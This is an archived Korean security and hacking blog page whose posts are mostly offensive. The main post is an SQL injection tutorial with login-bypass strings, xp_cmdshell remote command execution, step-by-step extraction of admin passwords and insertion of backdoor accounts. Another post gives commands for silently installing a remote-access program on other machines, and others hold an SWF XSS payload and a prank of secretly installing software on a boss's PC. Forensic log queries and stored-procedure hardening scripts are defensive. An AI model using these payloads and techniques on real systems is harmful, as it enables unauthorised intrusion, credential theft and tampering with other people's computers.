Search Results for '전체 분류'


2064 posts related to '전체 분류'

  1. 2009/08/16 Clock Tray Skins - 윈도우시계이미지바꾸기 1
  2. 2009/08/16 블루스크린 화면 보호기 3
  3. 2009/08/16 MPlayer for Windows Full Package v20090724
  4. 2009/08/11 웹해킹 - SQL 인젝션 기본
  5. 2009/08/11 원격 인스톨 방법
  6. 2009/08/11 서버 보안설정 체크툴
  7. 2009/08/11 SWF XSS PoC
  8. 2009/08/11 Logparser를 이용한 IIS 로그 Forensic 방법
  9. 2009/08/11 MS SQL 스토어 프로시저 제거
  10. 2009/08/11 중국해킹 기법-쿠키 SQL Injection 기법
  11. 2009/08/11 중국해킹 기법-쿠키 SQL Injection 기법
  12. 2009/08/11 중국해커의 MS SQL 인젝션 해킹기법
  13. 2009/08/11 중국 최고의 해킹 툴 류광 5.0 3
  14. 2009/08/11 스파이웨이 탐지법
  15. 2009/08/11 [보안] SQL 탐지 우회기법
  16. 2009/08/11 [Tip] IIS 로그에 프록시 Real 공격자 IP 로그 남기기
  17. 2009/08/11 보안 진단툴인가 해킹 툴인가
  18. 2009/08/11 웹 트로이목마 생성기
  19. 2009/08/11 Windows 2008 서버의 새로운 기능(Hyper-V)
  20. 2009/08/11 Mass Exploits with SQL Injection
  21. 2009/08/11 [툴 소개] Trend Micro RUbotted
  22. 2009/08/11 천당2기술
  23. 2009/08/11 무자헤딘 비밀(Mujahedeen Secret)
  24. 2009/08/11 패스워드 없이 Lock 된 Windows XP Unlock
  25. 2009/08/11 Social Engineering Hacking - Humans get Hacked
  26. 2009/08/11 신종 DoS 공격 - SQL 와일드카드 공격
  27. 2009/08/11 Shockwave Exploit
  28. 2009/08/11 MS SQL 2005 xp_cmdshell 오픈하는 방법
  29. 2009/08/11 DB 취약점 스캐너
  30. 2009/08/11 MS SQL 2000 vs 2005

사용자 삽입 이미지
윈도우 시계 이제 지겹죠 ?

남들과 다른 자신만의
개성이 담긴 시계로 바꾸세요.

간단한 조작이 가능합니다.

리소스도 조금 사용하네요.

2009/08/16 17:34 2009/08/16 17:34
간단히 설명 드리면 블루스크린 화면 보호기 입니다.
블루 스크린이 뜬후 윈도우 부팅화면이 뜨고 윈도우로 들어가는척 하다가 다시 블루스크린
뜨는 화면 보호기 입니다.
마우스면 안나가지고 클릭하면 나가집니다.
 
C:루트 windows폴더내에 붙혀넣기 하시고 화면보호기서 바꾸시면 됩니다.
맘에 안드는 직장 상사 PC에 몰래 설치하고 화면보호기 1분으로 해놓으면 재미있습니다
2009/08/16 17:27 2009/08/16 17:27
MPlayer for Windows는 풀화면 지원 및 다양한 사운드, 동영상 포맷을 지원하는 플레이어 프로그램입니다.

바이너리 코덱 팩키지를 포함하고 있는 풀 버전과 바이너리 팩키지를 포함하지 않은 라이트 버전의 2가지 버전으로 제공되기 때문에 사용자가 편리한 버전을 다운 받아서 사용을 하시면 됩니다.

전체적인 인터페이스는 미디어 플레이어 6.4 버전과 흡사하며, 메뉴등은 한글로 제공이 되기 때문에 편리합니다.

파일은 파일 재생 방식과 URL 재생 방식, 시디 재생 방식의 3가지 재생 방식을 제공하고 있으며, 대부분의 사운드, 동영상 포맷을 지원합니다.

보기 메뉴를 클릭하시면 사용자 크기 방식, 절반 크기, 원래 크기, 두배 크기, 전체 화면, 콤팩트 모드, 항상위 모드, OSD 변경등을 핫키등으로 바로 바로 사용할 수 있고 탐색 메뉴를 통해, 재생/멈춤/일시정지, 이전/다음/재생 목록, 음소거, 10초 앞으로 이동, 10초 뒤로 이동, 1분 앞으로 이동, 1분 뒤로 이동, 10분 앞으로 이동, 10분 뒤로 이동등의 기능을 핫키와 더불어서 사용할 수 있습니다.

도구 메뉴를 이용해서 음성 언어를 선택할 수 있고 화면 비율과 잔상제거 기능및 여러가지 옵션등을 지정할 수 있습니다. 클립의 정보 보기 기능도 제공을 합니다.

하단에 있는 컨트롤 키와 아이콘 메뉴 이용해서 대표적인 기능들을 간단하게 사용할 수 있습니다.
2009/08/16 17:24 2009/08/16 17:24

Details
1.0 Introduction
============================================
서 버가 단지 80포트만을 오픈하고 있을때, 당신의 믿음직한 취약점 스캐너는 유용한 정보를 잡아내지 못한다.
당신도 알다시피 관리자는 항상 서버를 패치한다.
우리는 웹해킹으로 관점을 돌려야 한다.
SQL injection은 단지 80번 포트만을 필요로 하는 웹해킹의 방법중 한가지이다. 만일 관리자가 패치를 잘 하고 있을지라도 해킹은 잘 작동하게 될것이다.
SQL injection 는 OS 상에서 웹서버나 서비스가 실행되고 있다고 할지라도 웹 어플리케이션(like ASP, JSP, PHP, CGI, etc) 상에서 웹어플리케이션 그자체를 공격한다.

이 문서는 새로은 것에 대해서 말하고 있지는 않다.
SQL injection에 관한 문서는 여러사람들이 써 왔고 널리 사용되어지고 있다.
우리는 이문서를 작성했다. 직접 수기로 작성한 SQL injection 의 몇가지를 문서화 하기 위해서 그리고 다른사람들에게 이문서가 도움에 되기를 바라기 때문이다.
당신은 한 두가지를 더 발견할수 있을 것이다.
그러기 위해서 "9.0 Where can I get more info?"를 확인해 봄으로써 SQL injection 안에서 많은 테크닉들을 개발할수 있는 믿을만한 많은 정보들을 얻을수 있을 것이다.


1.1 What is SQL Injection?
-------------------------------------------------------------------------
SQL injection 은 웹 페이지를 통해서 입력하는 것처럼 SQL query/command를 삽입하기위한 트릭이다.
많은 웹페이지들은 웹 사용자로 부터 패러미터들을 입력받아 데이타베이스에대한 SQL query를 만든다.
사용자가 로긴을 할때를 예를 들자면, 사용자가 유효한 이름과 패스워드를 사용하는지를 확인하기위해서 사용자 이름과 패스워드를 에 관한 SQL query 를 만든다.
SQL injection를 통해서, 정상적인 SQL query를 변조하게 하는 교활하게 조작된 사용자 이름과 패스워드를 보내는 것이 가능하고 우리는 이것을 통해서 어떤것을 행하게 할수가 있는 것이다.

1.2 What do you need?
-------------------------------------------------------------------------
어떤 브라우저라도 좋다.


2.0 What you should look for?
============================================
데 이타 입력을 허락하는 웹페이지를 찿아 보아라.
예를 들자면 로긴 웹 페이지, 서치 웹페이지, 피드백 등등. 자주 HTML 페이지는 다른 ASP 페이제 패러미터를 보네기 위해서 POST 명령을 사용한다.
하지만 당신은 URL 에서 패러미터를 볼수는 없을 것이다.
그러나 HTML의 소스 코드를 확인해 보면 HTML 코드에서 "FORM" 태그를 발견 할 수 있을 것이다.
당신은 이 HTML 코드에서 다음과 같은 것을 발견 할 수가 있을 것이다.


2.1 What if you can't find any page that takes input?
-------------------------------------------------------------------------
ASP, JSP, CGI, or PHP 같은 웹 페이지들을 찿아 보기 바란다. 특히 다음과 같은 패러미터를 가지고 있는 URL을 찿아 보거라. 다음:

http://duck/index.asp?id=10


3.0 How do you test if it is vulnerable?
============================================
싱글 쿼트(') 트릭으로 시작해 보자!
다음과 같이 입력해 보거라.:

hi' or 1=1--

다음 예와 같이 로긴, 패스워드 또는 URL 에서 말이다.
- Login: hi' or 1=1--
- Pass: hi' or 1=1--
- http://duck/index.asp?id=hi' or 1=1--

만일 히든 필드와 같이 이것들을 실행해야 한다면 사이트로 보터 HTML 소스를 다운로드 받고, 당신의 하드 디스크에 저장하고, 적당하게 URL 과 히든 필드를 수정하라. 예를 들자면 :
운이 좋다면 로긴 네임이나 패스워드 없이 로긴 할 수 있을 것이다.

3.1 But why ' or 1=1--?
-------------------------------------------------------------------------
' or 1=1-- 가 왜 중요한지에 대해서 다른 예제를 알아 보도록 하자.
로긴을 바로 통과 하는 것외에 일반적으로 가능한것은 아니지만 또다른 가능성은 엑스트라 인포메이션 즉 부수적인 정보를 보는 것이 가능하다는 것이다.
다음 URL 과 같이 당신을 다른 페이지로 링크를 해주는 asp 페이지를 보자 :

http://duck/index.asp?category=food

이 URL에서 'category' 는 변수이고 'food'는 변수에 할당되어진 변수 값이다.
이와 같은 일은 하기 위해서 ASP는 다음과 같은 코드를 포함하고 있을 것이다.
(그렇다. 이것은 이 문제를 위해서 우리가 만든 실제 코드이다.) :

v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr)

보는 바와 같이 우리의 변수는 v_cat 안으로 들어 갈 것이고 그래서 SQL 문장은 다음과 같이 될 것이다.:

SELECT * FROM product WHERE PCategory='food'

쿼리는 WHERE 조건(이경우 'food')과 일치하는 한개나 한개 이상의 행을 결과로 리턴한다.
이제 다음과 같이 URL을 바꾸게 될 경우를 알아 보자 :

http://duck/index.asp?category=food' or 1=1--

만일 SQL query 에서 변수를 다음과 같이 변경하게 되면, 이제 변수 v_cat = "food' or 1=1-- " 되고 우리는 다음과 같은 결과를 얻을 것이다:

SELECT * FROM product WHERE PCategory='food' or 1=1--'

쿼 리는 product 테이블로 부터 모든것을 선택한다.
PCategory 가 'food' 인지 아닌지에 상관없이 말이다 더블 대쉬("--")는 MS SQL 서버에게 쿼리의 나머지 부분을 무시하도록 한다. 마지막에 있는 싱글 쿼트(')를 제거하는 역할을 하게 될 것이다.
종종 더블 대쉬(--)는 싱글 해쉬(#)로 대체 할 수 있다.

하지만 SQL 서버가 아니거나 쿼리의 나머지를 간단하게 무시하게 할수가 없다면 다음과 같이 시도해 보라:

' or 'a'='a

SQL 쿼리는 이제 다음과 될 것이다:

SELECT * FROM product WHERE PCategory='food' or 'a'='a'

이제 동일한 결과를 돌려 줄 것이다.

실제 SQL query 에 따라서 다음과 같은 것들중에서 한개로 시도 하기 바란다:

' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a


4.0 How do I get remote execution with SQL injection?
============================================
만 일 일반적인 의미로서 SQL 명령을 삽입 할수 있다면 모든 SQL query 를 실행 할수 있을 것이다.
MS SQL 서버가 윈도우즈 안에서 관리자 접근과 동등한 시스템상에 디폴트 인스톨로 실행되고 있다.
우리는 리모트 실행을 수행하기 위해서 xp_cmdshell 를 마스터 같이 저장된 프로시저를 사용할수 있다.... :

'; exec master..xp_cmdshell 'ping 10.10.1.2'--

싱글 쿼트(')가 작동하지 않으면 더블 쿼트(")를 사용해 보라

세 미 콜론은 현제 SQL query 를 끝나게 할것이고 그래서 당신이 새로운 SQL 명령을 시작할 수 있게 할것이다.
만일 서버로부터 어떤 패킷이 있는지를 체크하기 위해서 명령이 성공적으로 실행되었는지를 확인하기 위해서 10.10.1.2 로 부터 ICMP 패킷을 리슨 할수 있다. :

#tcpdump icmp

만일 당신이 서버로부터 아무 핑(ping) 요구 받지 못했고, 퍼미션 에러를 표시하는 에러메시지를 받았다면, 이러한 저장된 프로시저에 대해서 관리자가 웹사용자의 접근을 제한하고 있을 가능성이 있다.


5.0 How to get output of my SQL query?
============================================
HTML 안에 당신의 쿼리를 삽입하기 위해서 sp_makewebtak 를 사용 할 수 있다:

'; EXEC master..sp_makewebtask "10.10.1.3shareoutput.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"

하지만 타켓 IP 는 모든 사람이 공유하고 있는 공유 폴더이어야 한다.


6.0 How to get data from the database using ODBC error message
============================================
우리는 우리가 원하는 대부분의 데이타를 얻기 위해서 MS SQL 서버에 의해서 처리되어지는 에러 메세지로 부터 정보를 사용 할 수 있다. 다음과 같은 문장을 가지고 있는 페이지가 있다고 하고 예를 들자면 :

http://duck/index.asp?id=10

우리는 데이타베이스로 부터 정수 10 을 다른 문자열과 함께 UNION 을 시도할 것이다:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

서 버안에서 시스템 테이블 INFORMATION_SCHEMA.TABLES 은 모든 테이블에 관한 정보를 포함하고 있다.
TABLE_NAME 필드는 데이터베이스 안에서 각 테이블의 이름을 분명히 포함하고 있다.
알다 시피 그것은 항상 존제 하기때문에 우리는 그것을 선택했다. 우리의 쿼리는 :

SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-

이 것은 데이터베이스 안에서 첫번째 테이블을 리턴한다.
우리가 이 문자열 값을 정수 10과 UNION 할때 MS SQL 서버는 문자열(nvarchar)을 정수로 변환을 시도할 것이다.
이것은 우리가 nvarchar을 int 로 전환 할 수 없는 것 때문에 에러를 발생 시킨다.
서버는 다음의 에러 메시지를 출력할 것이다:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the nvarchar value 'table1' to a column of data type int.
/index.asp, line 5

에러 메시지는 어떤 값이 정수로 변환 되어질수 없다는 것을 알려주게 되므로 우리에게 충분한 가치가 있다.
이경우에 우리는 데이터 베이스에 있는 첫번째 테이블 이름이 "talbe1" 이라는 것을 알게 된다.

다음 테이블 이름을 얻기 위해서 우리는 다음 쿼리를 사용 할 수 있다:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM
INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--

우리는 LIKE 키워드를 사용하여 데이타를 조사 할 수 있다.

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM
INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]
Syntax error converting the nvarchar value 'admin_login' to a column of data type int.
/index.asp, line 5

동등한 표시로서, SQL 서버 안에서 '%25login%25' 은 %login% 처럼 보여질 것이다.
이경우에 우리는 "admin_login" 과 일치하는 첫번째 테이블 이름을 얻게 될것이다.


6.1 How to mine all column names of a table?
---------------------------------------------------------------------------
우리는 테이블의 모든 컬럼들의 이름을 알기 위해서 다른 유용한 테이블
INFORMATION_SCHEMA.COLUMNS 을 사용 할 있다 :

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM
INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]
Syntax error converting the nvarchar value 'login_id' to a column of data type int.
/index.asp, line 5

이제 첫번째 칼럼 이름을 얻게 되었고 다음 컬럼 이름을 얻기 위해서 NOT IN () 을 사용 할 수 있다 :

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM
INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE
COLUMN_NAME NOT IN ('login_id')--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]
Syntax error converting the nvarchar value 'login_name' to a column of data type int.
/index.asp, line 5

이와 같이 계속해서 나아가서 우리는 나머지 칼럼 이름을 획득 했다.
"password", "details". 우리는 이것들을 다음 에러 메시지를 얻었을때 알수가 있다 :
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM
INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE
COLUMN_NAME NOT IN ('login_id','login_name','password',details')--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]
ORDER BY items must appear in the select list if the statement contains a UNION operator.
/index.asp, line 5


6.2 How to retrieve any data we want?
---------------------------------------------------------------------------
이제 몇개의 중요한 테이블들 과 그것들의 컴럼들을 확인해보자.
우리는 데이타베이스로 부터 우리가 원하는 정보를 획득하기 위해서 똑같은 테크닉을 사용 사용 할 수 있다.

이제, "admin_login" 테이블로 부터 첫번째 login_name 을 얻어보자:

http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]
Syntax error converting the nvarchar value 'neo' to a column of data type int.
/index.asp, line 5

이제 우리는 neo 라는 로긴 이름을 가지고 있는 admin 유저가 있다는 것을 알았다.
마지막으로 데이터베이로 부터 neo 의 패스워드를 얻기 위해서 :

http://duck/index.asp?id=10 UNION SELECT TOP 1 password
FROM admin_login where login_name='neo'--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]
Syntax error converting the nvarchar value 'm4trix' to a column of data type int.
/index.asp, line 5

우리는 ID neo, password m4trix 로 로긴 할 수 가 있을 것이다.


6.3 How to get numeric string value?
---------------------------------------------------------------------------
위에 설명한 테크닉에는 제한 사항이 있다.
만일 우리가 유효한 숫자(0-9 사이에 있는 문자)로 구성된 텍스트를 변환하기를 시도한다면 우리는 어떤한 에러 메시지도 얻을 수 없을 것이다.
ID trinity인 사용자의 패스워드 31173 을 얻기 위한 시도를 가지고 말해보자:

http://duck/index.asp?id=10 UNION SELECT TOP 1 password
FROM admin_login where login_name='trinity'--

우 리는 "Page Not Found" 에러를 얻을 것이다.
정수(이경우 10)와 UNION 하기 전에 패스워드 31173 은 숫자로 변환되어질 것이기 때문이다.
그것은 유효한 UNION 문 이기 때문에 SQL 서버는 ODBC 에러 메시지를 출력하지 않을 것이다.
그래서 우리는 어떠한 숫자 엔트리를 발견해 낼 수가 없다.

이 문제를 해결하기 위해서, 우리는 변환이 확실히 실폐 하로독 하기 위해서 숫자 문자열에 몇개의 알파벳을 덧붙일 수 있다.
이번에는 위에것 대신이 이 쿼리로 시도를 해보자:

http://duck/index.asp?id=10 UNION SELECT TOP 1
convert(int, password%2b'%20morpheus')
FROM admin_login where login_name='trinity'--

우 른는 패스워드에 우리가 원하는 어떤 텍스틀를 덧붙이기 위해서 더하기 기호(+,ASSCII code for '+' = 0x2b)를 사용한다.
우리는 '(space)morpheus' 를 실제 패스워드에 덧붙일 것이다.
그래서 우리가 숫자 문자열 31173 을 가지고 있다고 할 지라도 그것은 '31173 morpheus' 이 될 것이다.
수작업으로 convert() 함수를 호출 함으로서 '31173 morpheus' 을 정수로 변환을 시도해보면 SQL 서버는 EDBC 에러 메시지를 출력 할 것이다:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]
Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int.
/index.asp, line 5

이제 ID trinity, 패스워드 31173 로 로긴을 할 수가 있다.


7.0 How to update/insert data into the database?
============================================
우 리가 테이블의 모든 칼럼 이름을 성공적으로 얻게될때 우리는 UPDATE 명령을 사용하거나 테이블안에 새로운 레코드를 삽입하기 위해서 INSERT 명령을 사용 할 수 가 있다.
예를 들자면, neo 의 패스워드를 변경하기 위해서 :

http://duck/index.asp?id=10; UPDATE 'admin_login'
SET 'password' = 'newpas5' WHERE login_name='neo'--

데이터 베이스 안에 새로운 레코드를 삽입하기 위해서 :

http://duck/index.asp?id=10; INSERT INTO
'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--

우리는 이제 ID neo2, 패스워드 newpas5 로 로긴 할 수 가 있다.


8.0 How to avoid SQL Injection?
============================================
다음과 같은 경우에 모든 문자열 안에서 싱글 쿼트, 더블 쿼트, 슬래쉬, 백슬래쉬, 세미 콜론, NULL 같은 확장된 문자, 캐리지 리턴, 뉴라인 등과 같은 문자를 필터링 한다면 :
- 사용자로 부터의 입력
- URL 에 있는 패러미터
- 쿠키 안에 있는 값들

숫자 값을 위해서 그것을 SQL 문으로 파싱을 하기전에 그것을 정수로 변환하라.
또는 그것이 정수인지를 확인하기 위해서 ISNUMERIC 를 사용하라.

SQL Server Security tab 안에서 하위 특권 사용자를 사용하여
"Startup and run SQL Server" 를 변환 시켜라.

당신이 사용하지 않는 다음 같은 저장된 프로시저들을 삭제 하라 :

master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask


9.0 Where can I get more info?
============================================
최근우리가 발견하고 SQL Injection 을 적용한 최근 작품들 중에 하나는 PacketStrom 을 어떻게 해킹 했는지에관한 Rain Forest Puppy 의 문서이다.
http://www.wiretrip.net/rfp/p/doc.asp?id=42&iface=6

ODBC 에러 메시지들로 부터 정보를 획득하는 방법에 관한 멋진 문서가 여기에 있다.
blackhat.com/presentations/win-usa-01/Litchfield/BHWin01Litchfield.doc

또한 다양한 SQL 서버상에서 SQL Injection 에 관한 훌륭한 요약집이 여기에 있다.
http://www.owasp.org/asac/input_validation/sql.shtml

SQL Injection 에 관한 Senseport 의 문서 :
http://www.sensepost.com/misc/SQLinsertion.htm

읽어 볼만한 문서들:
http://www.digitaloffense.net/wargames01/IOWargames.ppt
http://www.wiretrip.net/rfp/p/doc.asp?id=7&iface=6
http://www.wiretrip.net/rfp/p/doc.asp?id=60&iface=6
http://www.spidynamics.com/whitepapers/WhitepaperSQLInjection.pdf

2009/08/11 15:03 2009/08/11 15:03
NT 시스템에 대한 모의 해킹 중 다양한 서비스를 원격 인스톨하는 기법을 사용하는 경우가 있습니다.

기본적인 명령어의 사용법이나 개념 이해를 도울 수 있는 자료가 있기에 올려봅니다.
-

- How may I remotely install RA on a single distant PC?
- You can use a free tool called psexec.exe available from www.sysinternals.com to deploy and run Slave on all the machines of your LAN with a single line of text.

For the ones that want to understand how it works, you need the Administrator account of the distant PC, and the PC must be reachable by TCP/IP.
Open a DOS box and type the following commands:

  • NET USE \192.168.112.24IPC$ /user:administrator password
  • COPY "C:Slave.exe" "\192.168.112.24C$WinNT (you may have to replace WinNT by Windows)
  • NETSVC \192.168.112.24 schedule /start   (make sure that the Scheduler Service is started)
  • NET TIME \192.168.112.24                        (note the time of the remote PC)
  • AT \192.168.112.24 10:00 "C:Slave.exe"    (replace 10:00 by the time of the PC plus one minute)

That's it! RA is running on the remote PC so you can access it with Master! You can also use the following commands:

  • REGINI -m \192.168.112.24  ra.reg             (to install some Registry settings on the remote PC)
  • SHUTDOWN \192.168.112.24 /R /Y /C /T:0  (to reboot the remote PC)

There is a LOGON SCRIPT in the PDF Manual to remotely install/Update/Remove RA on remote PCs.

-

출처 : http://www.twd-industries.com/en/faq.htm

정리해 보자면...
1. psexec 를 활용하여 명령어 한번에 원격 서비스 설치 가능
예) psexec \* -u domainadministrator -p password -c -d -i "C:myservice.exe"
       - psexec
\192.168.124.145 -u domainmike -p secret -c -d -i "C:myservice.exe"

2. psexec 활용 불가 시
net use
\192.168.112.24IPC$ password /user:administrator
copy "C:slave.exe" "
\192.168.112.24C$WinNT
netsvc \192.168.112.24 schedule /start
net time
\192.168.112.24
at \192.168.112.24 10:00 "C:slave.exe"

or

regini -m
\192.168.112.24 ra.reg
shutdown
\192.168.112.24 /r /y /c /t:0

이 기법은 원격 VNC 설치에도 즐겨 사용되는 기법입니다.
2009/08/11 14:58 2009/08/11 14:58
https://fedorahosted.org/sectool/#Similarprojects

NetBSD 보안설정 체크툴
http://www.daemon-systems.org/man/security.conf.5.html

참고로 아래와 같은 서비스도 있다.
http://www.securityspace.com/smysecure/index.html
2009/08/11 14:56 2009/08/11 14:56
중국 사이트에 보니 흥미로운 내용을 알게 되었다. 비밀은 xss.swf에 eval()가 실행시키는 코드가 있다는 것입니다.
xss.swf 파일에는 다음과 같은 내용이 들어 있습니다. 이걸 잘 응용하면 아주 멋진 swf xss 공격 코드를 올려서 다양한 형태의 웹해킹이 가능할 겁니다. swf 디컴파일은 누구나 할 수 있으니..


FWSS   x _    D   C?)   ?  javascript:alert('xss')  _self ? @  
사용자 삽입 이미지
2009/08/11 14:53 2009/08/11 14:53
Logparser는 MS에서 만든 강력한 IIS, W3C, 이벤트 로그 분석툴로서 SQL 쿼리타입으로 조건별 검색할 수 있는 강력한 툴입니다.

1) 가장 최근에 생성된 시간을 기준으로 ASP 스크립트를 변조한 Trojan Files 여부를 진단
 
C:\logparser2.2\logparser -i:FS "SELECT TOP 20 Path, CreationTime FROM C:\inetpub\wwwroot\*.* ORDER BY CreationTime DESC" -rtp:-1 


2). 가장 최근에 수정된 Files 로그 찾기

C:\logparser2.2\logparser -i:FS "SELECT TOP 20 Path, LastWriteTime FROM C:\inetpub\wwwroot\*.* ORDER BY LastWriteTime DESC" -rtp:-1   
  
3). 해커가 Trojan Files을 삭제한 경우에 HTTP 200 서버코드 흔적 로그를 찾는다.
 
C:\logparser "SELECT DISTINCT TO_LOWERCASE(cs-uri-stem) AS URL, Count(*) AS Hits FROM ex*.log WHERE sc-status=200 GROUP BY URL ORDER BY URL"    -rtp:-1  
 
* nc.exe, tini.exe, root.exe, cmd.exe, upload.asp, aspexec.asp, cmd.asp 같은 파일 이름이 있으면 의심

4) Script Abuse 분석(가장 많은 Request 요청을 받은 Executable 파일의 확장자 확인)

C:\logparser -i:FS "SELECT TO_LOWERCASE(SUBSTR(Name, LAST_INDEX_OF(Name, '.'),  STRLEN(Name))) AS Extenstion, Count(*) AS Files FROM C:\inetpub \wwwroot\*.*, C:\inetpub\scripts\*.* WHERE Attribute NOT LIKE 'D%' GROUP BY Extenstion ORDER BY Files DESC" -rtp:-1 

* 특히, .ASP, .DLL 파일 요청을 유심히 봐야함

5) HTTP 서버 500 에러코드 검사

C:\logparser "SELECT [cs-uri-stem], [cs-uri-query], Count(*) AS [Hits] FROM c:\logs\web\ex*.log WHERE sc-status = 500 GROUP BY [cs-uri-stem], [cs-uri-query] ORDER BY [hits], [cs-uri-stem] DESC" -rtp:-1 -i:iisw3c
 

6) 가장 많은 Request Hit 수를 높음 ASP, DLL 파일 확인

C:\logparser "SELECT TO_STRING(TO_TIMESTAMP(date, time), 'yyyy-MM-dd') AS Day, cs-uri-stem, Count(*) AS Total ex*.log WHERE (sc-status<400 or sc-status>=500) AND (TO_LOWERCASE(cs-uri-stem) LIKE '%.asp%' OR TO_LOWERCASE(cs-uri-stem) LIKE '%.exe') GROUP BY Day, cs-uri-stem ORDER BY cs-uri-stem, Day" -rtp:-1 

7) 시간당 에러수가 가장 많이 발생한 날짜 확인
 
C:\logparser "SELECT date, QUANTIZE(time, 3600) AS hour, sc-status, Count(*) AS Errors FROM ex03*.log WHERE sc-status>=400 GROUP BY date, hour, sc-status HAVING Errors>25 ORDER BY Error DESC" -rtp:-1 

* 25개 이상의 에러코드(404코드)를 발생한 날짜와 시간 결과를 출력

8) 하루동안 50번이상 동일 페이지에 접속을 시도한 클라이언트 IP 확인
 
C:\logparser "SELECT DISTINCT date, cs-uri-stem, c-ip, Count(*) AS Hits FROM ex*.log GROUP BY date, c-ip, cs-uri-stem HAVING Hits>50 ORDER BY Hits DESC" -rtp:-1 

9) 하루동안 50번이상 동일 페이지에 접속을 시도한 클라이언트 IP 확인
 
C:\logparser "SELECT DISTINCT date, cs-uri-stem, c-ip, Count(*) AS Hits FROM ex*.log GROUP BY date, c-ip, cs-uri-stem HAVING Hits>50 ORDER BY Hits DESC" -rtp:-1 

10)  모든 ASP 에러 기록 확인
 
C:\logparser "SELECT cs-uri-query, Count(*) AS Total FROM ex*.log WHERE sc-status>=500 GROUP BY cs-uri-query ORDER BY Total DESC" -rtp:-1 

* 특히, ODBC와 ADO 에러는 SQL Injection 가능성이 있으므로 주의깊게 살펴봐야 함

11) 스크립트 및 Executable 파일의 HTTP 서버 코드 기록 확인
 
C:\logparser "SELECT cs-uri-stem, sc-status, Count(*) AS Total FROM ex*.log WHERE TO_LOWERCASE(cs-uri-stem) LIKE '%.asp%' or TO_LOWERCASE(cs-uri-stem) LIKE '%.exe%' GROUP BY cs-uri-stem, sc-status ORDER BY cs-uri-stem, sc-status" -rtp:-1 

12) Win32 Status Code 분석을 통한 Attack 확인
 
C:\logparser "SELECT cs-uri-stem, WIN32_ERROR_DESCRIPTION(sc-win32-status) AS Error, Count(*) AS Total FROM ex*.log WHERE sc-win32-status>0 AND (TO_LOWERCASE(cs-uri-stem) LIKE '%.asp%' OR TO_LOWERCASE(cs-uri-stem) LIKE '%.exe%') GROUP BY cs-uri-stem, Error ORDER BY cs-uri-stem, Error" -rtp:-1
 

13) HTTP Method 통계 분석
 
C:\logparser "SELECT cs-uri-stem, cs-method, Count(*) AS Total FROM ex*.log WHERE (sc-status<400 or sc-status>=500) AND (TO_LOWERCASE(cs-uri-stem) LIKE '%.asp%' or TO_LOWERCASE(cs-uri-stem) LIKE '%.exe%') GROUP BY cs-uri-stem, cs-method ORDER BY cs-uri-stem, cs-method" -rtp:-1
2009/08/11 14:50 2009/08/11 14:50
아래 리스트에 있는 확장 프로시저는 가급적이면 모두 제거해 주는 것이 좋습니다.
 
use master
exec sp_dropextendedproc 'xp_cmdshell'
exec sp_dropextendedproc 'xp_dirtree'
exec sp_dropextendedproc 'xp_enumgroups'
exec sp_dropextendedproc 'xp_fixeddrives'
exec sp_dropextendedproc 'xp_loginconfig'
exec sp_dropextendedproc 'xp_enumerrorlogs'
exec sp_dropextendedproc 'xp_getfiledetails'
exec sp_dropextendedproc 'Sp_OACreate'
exec sp_dropextendedproc 'Sp_OADestroy'
exec sp_dropextendedproc 'Sp_OAGetErrorInfo'
exec sp_dropextendedproc 'Sp_OAGetProperty'
exec sp_dropextendedproc 'Sp_OAMethod'
exec sp_dropextendedproc 'Sp_OASetProperty'
exec sp_dropextendedproc 'Sp_OAStop'
exec sp_dropextendedproc 'Xp_regaddmultistring'
exec sp_dropextendedproc 'Xp_regdeletekey'
exec sp_dropextendedproc 'Xp_regdeletevalue'
exec sp_dropextendedproc 'Xp_regenumvalues'
exec sp_dropextendedproc 'Xp_regread'
exec sp_dropextendedproc 'Xp_regremovemultistring'
exec sp_dropextendedproc 'Xp_regwrite'
drop procedure sp_makewebtask
go
2009/08/11 14:49 2009/08/11 14:49
중국 블로그 사이트에 있는 어떤 해커의 해킹기법 중 좀 특이한 케이스를 소개한 내용입니다. 번역이 좀 매끄럽지가 않아서 약간 재구성해 보았습니다.
 
보통 DBMS에서 SQL injection 취약점이 존재하지만, Cookies에서도 SQL 인젝션을 구현할 수 있다. 
